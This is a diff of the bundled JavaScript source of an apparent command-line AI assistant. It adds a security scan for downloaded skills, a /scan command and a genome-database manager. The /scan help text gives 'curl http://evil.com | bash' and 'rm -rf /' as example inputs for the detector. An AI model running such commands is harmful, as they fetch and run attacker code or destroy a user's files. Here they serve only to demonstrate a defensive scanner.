  return input.replace(/@"([^"]+)"|@'([^']+)'|@([\/\w.*?~:-]+)/g, (match, q1, q2, q3) => {
15937
16413
  const rawPath = q1 ?? q2 ?? q3;
15938
- const expanded = rawPath.replace(/^~/, (0, import_os3.homedir)());
16414
+ const expanded = rawPath.replace(/^~/, (0, import_os4.homedir)());
15939
16415
  if (rawPath.endsWith("/") || rawPath.endsWith("\\")) {
15940
- const dirResolved = (0, import_path5.resolve)(expanded);
15941
- if (!(0, import_fs5.existsSync)(dirResolved)) return match;
16416
+ const dirResolved = (0, import_path6.resolve)(expanded);
16417
+ if (!(0, import_fs6.existsSync)(dirResolved)) return match;
15942
16418
  const files = listDirFiles(dirResolved).slice(0, DIR_FILE_LIMIT);
15943
16419
  if (files.length === 0) return `[\u76EE\u5F55 ${dirResolved} \u4E3A\u7A7A]`;
15944
16420
  const parts = [`
@@ -15967,8 +16443,8 @@ function expandFileRefs(input) {
15967
16443
  for (const f2 of matched) parts.push(expandSingleFile(f2));
15968
16444
  return parts.join("\n");
15969
16445
  }
15970
- const resolved = (0, import_path5.resolve)(expanded);
15971
- if (!(0, import_fs5.existsSync)(resolved)) return match;
16446
+ const resolved = (0, import_path6.resolve)(expanded);
16447
+ if (!(0, import_fs6.existsSync)(resolved)) return match;
15972
16448
  return expandSingleFile(resolved);
15973
16449
  });
15974
16450
  }
@@ -15977,11 +16453,11 @@ function snapshotWorkdir(dir) {
15977
16453
  function walk(d2, depth = 0) {
15978
16454
  if (depth > 3) return;
15979
16455
  try {
15980
- for (const entry of (0, import_fs5.readdirSync)(d2)) {
16456
+ for (const entry of (0, import_fs6.readdirSync)(d2)) {
15981
16457
  if (entry.startsWith(".") || entry === "node_modules") continue;
15982
- const full = (0, import_path5.join)(d2, entry);
16458
+ const full = (0, import_path6.join)(d2, entry);
15983
16459
  try {
15984
- const st2 = (0, import_fs5.statSync)(full);
16460
+ const st2 = (0, import_fs6.statSync)(full);
15985
16461
  if (st2.isDirectory()) {
15986
16462
  walk(full, depth + 1);
15987
16463
  } else {
@@ -16016,7 +16492,7 @@ function saveConversation(history, filename) {
16016
16492
  }
16017
16493
  const now = /* @__PURE__ */ new Date();
16018
16494
  const stamp = now.toISOString().slice(0, 16).replace("T", "-").replace(":", "-");
16019
- const outPath = (0, import_path5.resolve)(filename || `bgicli-chat-${stamp}.md`);
16495
+ const outPath = (0, import_path6.resolve)(filename || `bgicli-chat-${stamp}.md`);
16020
16496
  const lines = [`# BGI CLI \u5BF9\u8BDD\u8BB0\u5F55
16021
16497
  `, `> \u5BFC\u51FA\u65F6\u95F4: ${now.toLocaleString("zh-CN")}
16022
16498
  `];
@@ -16035,7 +16511,7 @@ ${msg.content}
16035
16511
  `);
16036
16512
  }
16037
16513
  }
16038
- (0, import_fs5.writeFileSync)(outPath, lines.join("\n"), "utf8");
16514
+ (0, import_fs6.writeFileSync)(outPath, lines.join("\n"), "utf8");
16039
16515
  console.log(source_default.green(`\u2713 \u5BF9\u8BDD\u5DF2\u4FDD\u5B58: ${outPath}`));
16040
16516
  }
16041
16517
  var COMPACT_TOKEN_THRESHOLD = 4e4;
@@ -16378,12 +16854,12 @@ async function handleCommand(input, rl, history, thinkMode, injectedSkills) {
16378
16854
  console.log(source_default.red(`\u672A\u627E\u5230 Skill: ${targetId}`));
16379
16855
  break;
16380
16856
  }
16381
- const skillPath = (0, import_path5.join)(runMatch.dir, runMatch.id, "SKILL.md");
16382
- if (!(0, import_fs5.existsSync)(skillPath)) {
16857
+ const skillPath = (0, import_path6.join)(runMatch.dir, runMatch.id, "SKILL.md");
16858
+ if (!(0, import_fs6.existsSync)(skillPath)) {
16383
16859
  console.log(source_default.red(`${runMatch.id} \u7F3A\u5C11 SKILL.md`));
16384
16860
  break;
16385
16861
  }
16386
- const skillContent = (0, import_fs5.readFileSync)(skillPath, "utf8");
16862
+ const skillContent = (0, import_fs6.readFileSync)(skillPath, "utf8");
16387
16863
  const { name: skillName } = parseSkillMeta(skillContent);
16388
16864
  const paramsMatch = skillContent.match(/##\s*(?:必要参数|Required Parameters|参数)[\s\S]*?(?=\n##|$)/i);
16389
16865
  const paramsSection = paramsMatch?.[0] ?? "";
@@ -16421,7 +16897,7 @@ ${paramSummary}
16421
16897
  console.log(source_default.dim("\n \u6B63\u5728\u751F\u6210\u5E76\u6267\u884C\u5206\u6790\u811A\u672C...\n"));
16422
16898
  try {
16423
16899
  const runCfg = loadConfig();
16424
- const reply = await chat(history, runCfg, buildSystemPrompt());
16900
+ const reply = await chat(history, runCfg, systemPrompt);
16425
16901
  history.push({ role: "assistant", content: reply });
16426
16902
  } catch (err) {
16427
16903
  console.error(source_default.red(`\u6267\u884C\u5931\u8D25: ${err instanceof Error ? err.message : String(err)}`));
@@ -16442,9 +16918,9 @@ ${paramSummary}
16442
16918
  break;
16443
16919
  }
16444
16920
  for (const entry of skillsToCheck) {
16445
- const sp = (0, import_path5.join)(entry.dir, entry.id, "SKILL.md");
16446
- if (!(0, import_fs5.existsSync)(sp)) continue;
16447
- const content = (0, import_fs5.readFileSync)(sp, "utf8");
16921
+ const sp = (0, import_path6.join)(entry.dir, entry.id, "SKILL.md");
16922
+ if (!(0, import_fs6.existsSync)(sp)) continue;
16923
+ const content = (0, import_fs6.readFileSync)(sp, "utf8");
16448
16924
  const { name } = parseSkillMeta(content);
16449
16925
  console.log(source_default.bold(`
16450
16926
  \u68C0\u6D4B ${name || entry.id} \u7684\u4F9D\u8D56\u73AF\u5883:`));
@@ -16572,8 +17048,8 @@ ${paramSummary}
16572
17048
  const isGitHub = installArg.includes("github.com") || installArg.includes("gitlab") || installArg.includes("bitbucket") || /^[^/]+\/[^/]+$/.test(installArg);
16573
17049
  if (!isGitHub && !installArg.startsWith("http")) {
16574
17050
  const slug = installArg.trim();
16575
- const installTarget2 = (0, import_path5.join)(SKILLS_DIR, slug);
16576
- if ((0, import_fs5.existsSync)(installTarget2)) {
17051
+ const installTarget2 = (0, import_path6.join)(SKILLS_DIR, slug);
17052
+ if ((0, import_fs6.existsSync)(installTarget2)) {
16577
17053
  console.log(source_default.yellow(`Skill "${slug}" \u5DF2\u5B58\u5728\uFF0C\u5982\u9700\u66F4\u65B0\u8BF7\u5148 /uninstall ${slug}`));
16578
17054
  break;
16579
17055
  }
@@ -16581,13 +17057,21 @@ ${paramSummary}
16581
17057
  `));
16582
17058
  try {
16583
17059
  const skillMdContent = await downloadSkillMd(slug);
16584
- (0, import_fs5.mkdirSync)(installTarget2, { recursive: true });
16585
- (0, import_fs5.writeFileSync)((0, import_path5.join)(installTarget2, "SKILL.md"), skillMdContent, "utf8");
17060
+ const skillScan = scanSkillMd(skillMdContent);
17061
+ if (skillScan.criticalCount > 0) {
17062
+ console.log(source_default.red(`
17063
+ \u26D4 \u5B89\u5168\u626B\u63CF\u53D1\u73B0 ${skillScan.criticalCount} \u4E2A CRITICAL \u98CE\u9669\uFF0C\u5DF2\u62D2\u7EDD\u5B89\u88C5`));
17064
+ console.log(source_default.dim(` \u4F7F\u7528 /scan \u547D\u4EE4\u68C0\u67E5\u5177\u4F53\u5185\u5BB9`));
17065
+ break;
17066
+ }
17067
+ (0, import_fs6.mkdirSync)(installTarget2, { recursive: true });
17068
+ (0, import_fs6.writeFileSync)((0, import_path6.join)(installTarget2, "SKILL.md"), skillMdContent, "utf8");
16586
17069
  const { name: name2, shortDesc: shortDesc2 } = parseSkillMeta(skillMdContent);
16587
17070
  console.log(source_default.green(`\u2713 SkillHub Skill \u5B89\u88C5\u6210\u529F!`));
16588
17071
  console.log(` ID: ${source_default.cyan(slug)}`);
16589
17072
  console.log(` \u540D\u79F0: ${name2 || slug}`);
16590
17073
  if (shortDesc2) console.log(` \u529F\u80FD: ${source_default.dim(shortDesc2)}`);
17074
+ if (skillScan.highCount > 0) console.log(source_default.yellow(` \u26A0 \u5305\u542B ${skillScan.highCount} \u4E2A HIGH \u98CE\u9669\u547D\u4EE4\uFF0C\u8BF7\u786E\u8BA4\u6765\u6E90\u53EF\u4FE1`));
16591
17075
  console.log(source_default.dim(` \u4F7F\u7528 /sk ${slug} \u52A0\u8F7D`));
16592
17076
  } catch (e2) {
16593
17077
  const msg = e2 instanceof Error ? e2.message : String(e2);
@@ -16604,8 +17088,8 @@ ${paramSummary}
16604
17088
  repoUrl = `https://github.com/${repoUrl}`;
16605
17089
  }
16606
17090
  const repoName = repoUrl.replace(/\.git$/, "").split("/").pop() ?? "unknown-skill";
16607
- const installTarget = (0, import_path5.join)(SKILLS_DIR, repoName);
16608
- if ((0, import_fs5.existsSync)(installTarget)) {
17091
+ const installTarget = (0, import_path6.join)(SKILLS_DIR, repoName);
17092
+ if ((0, import_fs6.existsSync)(installTarget)) {
16609
17093
  console.log(source_default.yellow(`Skill "${repoName}" \u5DF2\u5B58\u5728\uFF0C\u5982\u9700\u66F4\u65B0\u8BF7\u5148 /uninstall ${repoName}`));
16610
17094
  break;
16611
17095
  }
@@ -16617,13 +17101,13 @@ ${paramSummary}
16617
17101
  console.log(source_default.red(`\u5B89\u88C5\u5931\u8D25: ${cloneResult.output || cloneResult.error}`));
16618
17102
  break;
16619
17103
  }
16620
- const skillMdPath = (0, import_path5.join)(installTarget, "SKILL.md");
16621
- if (!(0, import_fs5.existsSync)(skillMdPath)) {
17104
+ const skillMdPath = (0, import_path6.join)(installTarget, "SKILL.md");
17105
+ if (!(0, import_fs6.existsSync)(skillMdPath)) {
16622
17106
  console.log(source_default.red(`\u5B89\u88C5\u5931\u8D25: ${repoName} \u7F3A\u5C11 SKILL.md \u6587\u4EF6`));
16623
17107
  await executeTool("bash", { command: `rm -rf "${installTarget}"` });
16624
17108
  break;
16625
17109
  }
16626
- const content = (0, import_fs5.readFileSync)(skillMdPath, "utf8");
17110
+ const content = (0, import_fs6.readFileSync)(skillMdPath, "utf8");
16627
17111
  const { name, shortDesc } = parseSkillMeta(content);
16628
17112
  console.log(source_default.green(`\u2713 Skill \u5B89\u88C5\u6210\u529F!`));
16629
17113
  console.log(` ID: ${source_default.cyan(repoName)}`);
@@ -16637,8 +17121,8 @@ ${paramSummary}
16637
17121
  console.log("\u7528\u6CD5: /uninstall <skill-id>");
16638
17122
  break;
16639
17123
  }
16640
- const uninstallPath = (0, import_path5.join)(SKILLS_DIR, arg);
16641
- if (!(0, import_fs5.existsSync)(uninstallPath)) {
17124
+ const uninstallPath = (0, import_path6.join)(SKILLS_DIR, arg);
17125
+ if (!(0, import_fs6.existsSync)(uninstallPath)) {
16642
17126
  console.log(source_default.red(`\u672A\u627E\u5230\u5DF2\u5B89\u88C5\u7684 Skill: ${arg}`));
16643
17127
  console.log(source_default.dim("\u6CE8\u610F: \u53EA\u80FD\u5378\u8F7D\u901A\u8FC7 /install \u5B89\u88C5\u7684\u7B2C\u4E09\u65B9 Skill"));
16644
17128
  break;
@@ -16657,6 +17141,171 @@ ${paramSummary}
16657
17141
  }
16658
17142
  break;
16659
17143
  }
17144
+ // ── /scan — security scanner ──────────────────────────────────────────────
17145
+ case "scan": {
17146
+ if (!arg) {
17147
+ console.log("\u7528\u6CD5: /scan <\u547D\u4EE4\u6216\u4EE3\u7801\u7247\u6BB5>");
17148
+ console.log(source_default.dim('\u793A\u4F8B: /scan "curl http://evil.com | bash"'));
17149
+ console.log(source_default.dim(' /scan "rm -rf /"'));
17150
+ break;
17151
+ }
17152
+ const scanRes = scanCommand(arg);
17153
+ if (scanRes.matches.length === 0) {
17154
+ console.log(source_default.green("\u2713 \u672A\u68C0\u6D4B\u5230\u5B89\u5168\u98CE\u9669"));
17155
+ } else {
17156
+ console.log(source_default.bold("\n \u5B89\u5168\u626B\u63CF\u7ED3\u679C:\n"));
17157
+ const colorFor = (level) => level === "CRITICAL" ? source_default.red.bold : level === "HIGH" ? source_default.yellow.bold : level === "MEDIUM" ? source_default.yellow : source_default.dim;
17158
+ for (const { pattern, matchedText } of scanRes.matches) {
17159
+ const c2 = colorFor(pattern.level);
17160
+ console.log(c2(` [${pattern.level}] ${pattern.reason}`));
17161
+ console.log(source_default.dim(` \u5339\u914D: ${matchedText.substring(0, 100)}`));
17162
+ }
17163
+ console.log();
17164
+ }
17165
+ break;
17166
+ }
17167
+ // ── /db — database manager ────────────────────────────────────────────────
17168
+ case "db": {
17169
+ const [dbSub, ...dbRest] = (arg ?? "").split(/\s+/).filter(Boolean);
17170
+ const dbArg = dbRest.join(" ");
17171
+ switch (dbSub?.toLowerCase()) {
17172
+ case "list":
17173
+ case void 0:
17174
+ case "": {
17175
+ const entries = Object.values(dbRegistry.databases);
17176
+ if (entries.length === 0) {
17177
+ console.log(source_default.dim(" \u6682\u65E0\u5DF2\u6CE8\u518C\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0"));
17178
+ break;
17179
+ }
17180
+ console.log(source_default.bold(`
17181
+ \u5DF2\u6CE8\u518C\u6570\u636E\u5E93 (${entries.length} \u4E2A):
17182
+ `));
17183
+ const byGenome = {};
17184
+ for (const e2 of entries) (byGenome[e2.genome] ??= []).push(e2);
17185
+ for (const [genome, dbs] of Object.entries(byGenome).sort()) {
17186
+ console.log(source_default.cyan(` \u2500\u2500 ${genome} \u2500\u2500`));
17187
+ for (const db of dbs) {
17188
+ const ok = (0, import_fs6.existsSync)(db.path);
17189
+ const icon = ok ? source_default.green("\u2713") : source_default.red("\u2717");
17190
+ const size = db.sizeBytes ? source_default.dim(` [${(db.sizeBytes / 1e9).toFixed(1)}GB]`) : "";
17191
+ console.log(` ${icon} ${source_default.bold(db.label)}${size}`);
17192
+ console.log(` ${source_default.dim("id:")} ${db.id} ${source_default.dim("type:")} ${db.type}`);
17193
+ console.log(` ${source_default.dim(db.path)}`);
17194
+ }
17195
+ console.log();
17196
+ }
17197
+ break;
17198
+ }
17199
+ case "add": {
17200
+ if (!dbArg) {
17201
+ console.log("\u7528\u6CD5: /db add <\u8DEF\u5F84> [\u57FA\u56E0\u7EC4] [\u7C7B\u578B] [\u8BF4\u660E]");
17202
+ console.log(source_default.dim("\u793A\u4F8B: /db add /data/ref/hg38.fa hg38 fasta"));
17203
+ console.log(source_default.dim(" /db add /data/index/hg38_star hg38 star_index STAR\u6BD4\u5BF9\u7D22\u5F15"));
17204
+ break;
17205
+ }
17206
+ const parts = dbArg.trim().split(/\s+/);
17207
+ const dbPath = (0, import_path6.resolve)(parts[0]);
17208
+ if (!(0, import_fs6.existsSync)(dbPath)) {
17209
+ console.log(source_default.yellow(`\u26A0 \u8DEF\u5F84\u4E0D\u5B58\u5728: ${dbPath}\uFF08\u4ECD\u4F1A\u8BB0\u5F55\uFF0C\u8DEF\u5F84\u53EF\u7A0D\u540E\u521B\u5EFA\uFF09`));
17210
+ }
17211
+ const genome = parts[1] ?? "other";
17212
+ const type = parts[2] ?? "other";
17213
+ const label = parts.slice(3).join(" ") || `${type} (${genome})`;
17214
+ const entry = addDbEntry(dbRegistry, { label, type, genome, path: dbPath, source: "manual" });
17215
+ saveDbRegistry(dbRegistry);
17216
+ systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
17217
+ console.log(source_default.green(`\u2713 \u5DF2\u6DFB\u52A0\u6570\u636E\u5E93: ${entry.label}`));
17218
+ console.log(` id: ${source_default.cyan(entry.id)}`);
17219
+ console.log(` \u8DEF\u5F84: ${source_default.dim(entry.path)}`);
17220
+ break;
17221
+ }
17222
+ case "rm":
17223
+ case "remove":
17224
+ case "del": {
17225
+ if (!dbArg) {
17226
+ console.log("\u7528\u6CD5: /db rm <id>");
17227
+ break;
17228
+ }
17229
+ const removed = removeDbEntry(dbRegistry, dbArg.trim());
17230
+ if (removed) {
17231
+ saveDbRegistry(dbRegistry);
17232
+ systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
17233
+ console.log(source_default.green(`\u2713 \u5DF2\u79FB\u9664\u6570\u636E\u5E93: ${dbArg}`));
17234
+ } else {
17235
+ console.log(source_default.red(`\u672A\u627E\u5230\u6570\u636E\u5E93 id: ${dbArg}\uFF0C\u4F7F\u7528 /db list \u67E5\u770B\u5DF2\u6CE8\u518C\u5217\u8868`));
17236
+ }
17237
+ break;
17238
+ }
17239
+ case "scan": {
17240
+ const extraDirs = dbArg ? [dbArg] : [];
17241
+ process.stdout.write(source_default.dim("\n \u6B63\u5728\u626B\u63CF\u6587\u4EF6\u7CFB\u7EDF\u4E2D\u7684\u53C2\u8003\u6570\u636E\u5E93...\n"));
17242
+ const report = scanForDatabases(extraDirs);
17243
+ if (report.found.length === 0) {
17244
+ console.log(source_default.yellow(" \u672A\u627E\u5230\u4EFB\u4F55\u5DF2\u77E5\u6570\u636E\u5E93\u6587\u4EF6"));
17245
+ console.log(source_default.dim(" \u63D0\u793A: \u53EF\u6307\u5B9A\u76EE\u5F55 /db scan /your/data/dir"));
17246
+ break;
17247
+ }
17248
+ console.log(source_default.bold(`
17249
+ \u626B\u63CF\u53D1\u73B0 ${report.found.length} \u4E2A\u6570\u636E\u5E93\u6587\u4EF6:
17250
+ `));
17251
+ let addedCount = 0;
17252
+ for (const entry of report.found) {
17253
+ const exists = dbRegistry.databases[entry.id];
17254
+ if (exists) {
17255
+ console.log(source_default.dim(` [\u5DF2\u5B58\u5728] ${entry.label}`));
17256
+ continue;
17257
+ }
17258
+ dbRegistry.databases[entry.id] = entry;
17259
+ addedCount++;
17260
+ const size = entry.sizeBytes ? source_default.dim(` [${(entry.sizeBytes / 1e9).toFixed(1)}GB]`) : "";
17261
+ console.log(source_default.green(` [\u65B0\u589E] `) + `${entry.label}${size}`);
17262
+ console.log(source_default.dim(` ${entry.path}`));
17263
+ }
17264
+ if (addedCount > 0) {
17265
+ dbRegistry.lastScan = (/* @__PURE__ */ new Date()).toISOString();
17266
+ saveDbRegistry(dbRegistry);
17267
+ systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
17268
+ console.log(source_default.green(`
17269
+ \u2713 \u65B0\u589E ${addedCount} \u4E2A\u6570\u636E\u5E93\u5230\u6CE8\u518C\u8868`));
17270
+ } else {
17271
+ console.log(source_default.dim("\n \u65E0\u65B0\u589E\uFF08\u6240\u6709\u5DF2\u5728\u6CE8\u518C\u8868\u4E2D\uFF09"));
17272
+ }
17273
+ break;
17274
+ }
17275
+ case "download":
17276
+ case "dl": {
17277
+ const target = dbArg.trim() || "";
17278
+ if (!target) {
17279
+ console.log(source_default.bold("\n \u53EF\u4E0B\u8F7D\u7684\u6807\u51C6\u6570\u636E\u5E93:\n"));
17280
+ for (const [key, guide2] of Object.entries(DOWNLOAD_GUIDES)) {
17281
+ console.log(` ${source_default.cyan(key.padEnd(18))} ${guide2.label}`);
17282
+ }
17283
+ console.log(source_default.dim("\n \u7528\u6CD5: /db download hg38-fasta"));
17284
+ break;
17285
+ }
17286
+ const guide = DOWNLOAD_GUIDES[target];
17287
+ if (!guide) {
17288
+ console.log(source_default.red(`\u672A\u77E5\u6570\u636E\u5E93: ${target}`));
17289
+ console.log(source_default.dim("\u4F7F\u7528 /db download \u67E5\u770B\u53EF\u7528\u5217\u8868"));
17290
+ break;
17291
+ }
17292
+ console.log(source_default.bold(`
17293
+ \u4E0B\u8F7D\u6307\u5357: ${guide.label}
17294
+ `));
17295
+ guide.cmds.forEach((cmd2) => console.log(` ${source_default.cyan("$")} ${cmd2}`));
17296
+ console.log(source_default.dim("\n \u4E0B\u8F7D\u5B8C\u6210\u540E\u4F7F\u7528 /db add <\u8DEF\u5F84> \u6CE8\u518C"));
17297
+ break;
17298
+ }
17299
+ default:
17300
+ console.log(`\u7528\u6CD5: /db <list|add|rm|scan|download>`);
17301
+ console.log(source_default.dim(" /db list \u5217\u51FA\u5DF2\u6CE8\u518C\u6570\u636E\u5E93"));
17302
+ console.log(source_default.dim(" /db add <\u8DEF\u5F84> \u624B\u52A8\u6CE8\u518C"));
17303
+ console.log(source_default.dim(" /db rm <id> \u5220\u9664\u8BB0\u5F55"));
17304
+ console.log(source_default.dim(" /db scan [\u76EE\u5F55] \u81EA\u52A8\u626B\u63CF"));
17305
+ console.log(source_default.dim(" /db download [\u540D\u79F0] \u663E\u793A\u4E0B\u8F7D\u6307\u5357"));
17306
+ }
17307
+ break;
17308
+ }
16660
17309
  case "compact": {
16661
17310
  const tokens = estimateTokens2(history);
16662
17311
  if (history.length < 4) {
@@ -16828,8 +17477,8 @@ ${summary}` },
16828
17477
  console.log("\u7528\u6CD5: /cd <\u8DEF\u5F84>");
16829
17478
  break;
16830
17479
  }
16831
- const target = (0, import_path5.resolve)(arg.replace(/^~/, (0, import_os3.homedir)()));
16832
- if (!(0, import_fs5.existsSync)(target)) {
17480
+ const target = (0, import_path6.resolve)(arg.replace(/^~/, (0, import_os4.homedir)()));
17481
+ if (!(0, import_fs6.existsSync)(target)) {
16833
17482
  console.log(source_default.red(`\u8DEF\u5F84\u4E0D\u5B58\u5728: ${target}`));
16834
17483
  break;
16835
17484
  }
@@ -16898,7 +17547,8 @@ async function main() {
16898
17547
  }
16899
17548
  console.log(source_default.dim(" \u8F93\u5165\u95EE\u9898\u5F00\u59CB\u5BF9\u8BDD /help \u67E5\u770B\u547D\u4EE4 /cat \u6280\u80FD\u5206\u7C7B @\u6587\u4EF6\u8DEF\u5F84 \u5185\u5D4C\u6587\u4EF6"));
16900
17549
  console.log();
16901
- const systemPrompt = buildSystemPrompt();
17550
+ let dbRegistry2 = loadDbRegistry();
17551
+ let systemPrompt2 = buildSystemPrompt(buildDbPromptSection(dbRegistry2));
16902
17552
  let history = [];
16903
17553
  let thinkMode = false;
16904
17554
  const injectedSkills = /* @__PURE__ */ new Map();
@@ -16986,7 +17636,7 @@ ${expanded}` : expanded;
16986
17636
  history.push({ role: "user", content: userContent });
16987
17637
  try {
16988
17638
  const currentCfg = loadConfig();
16989
- const reply = await chat(history, currentCfg, systemPrompt);
17639
+ const reply = await chat(history, currentCfg, systemPrompt2);
16990
17640
  history.push({ role: "assistant", content: reply });
16991
17641
  history = await maybeCompact(history, currentCfg);
16992
17642
  autoSaveSession();
@@ -17011,8 +17661,8 @@ ${expanded}` : expanded;
17011
17661
  }
17012
17662
  }
17013
17663
  function question(rl, prompt) {
17014
- return new Promise((resolve3, reject) => {
17015
- rl.question(prompt, resolve3);
17664
+ return new Promise((resolve4, reject) => {
17665
+ rl.question(prompt, resolve4);
17016
17666
  rl.once("close", () => reject(new Error("closed")));
17017
17667
  });
17018
17668
  }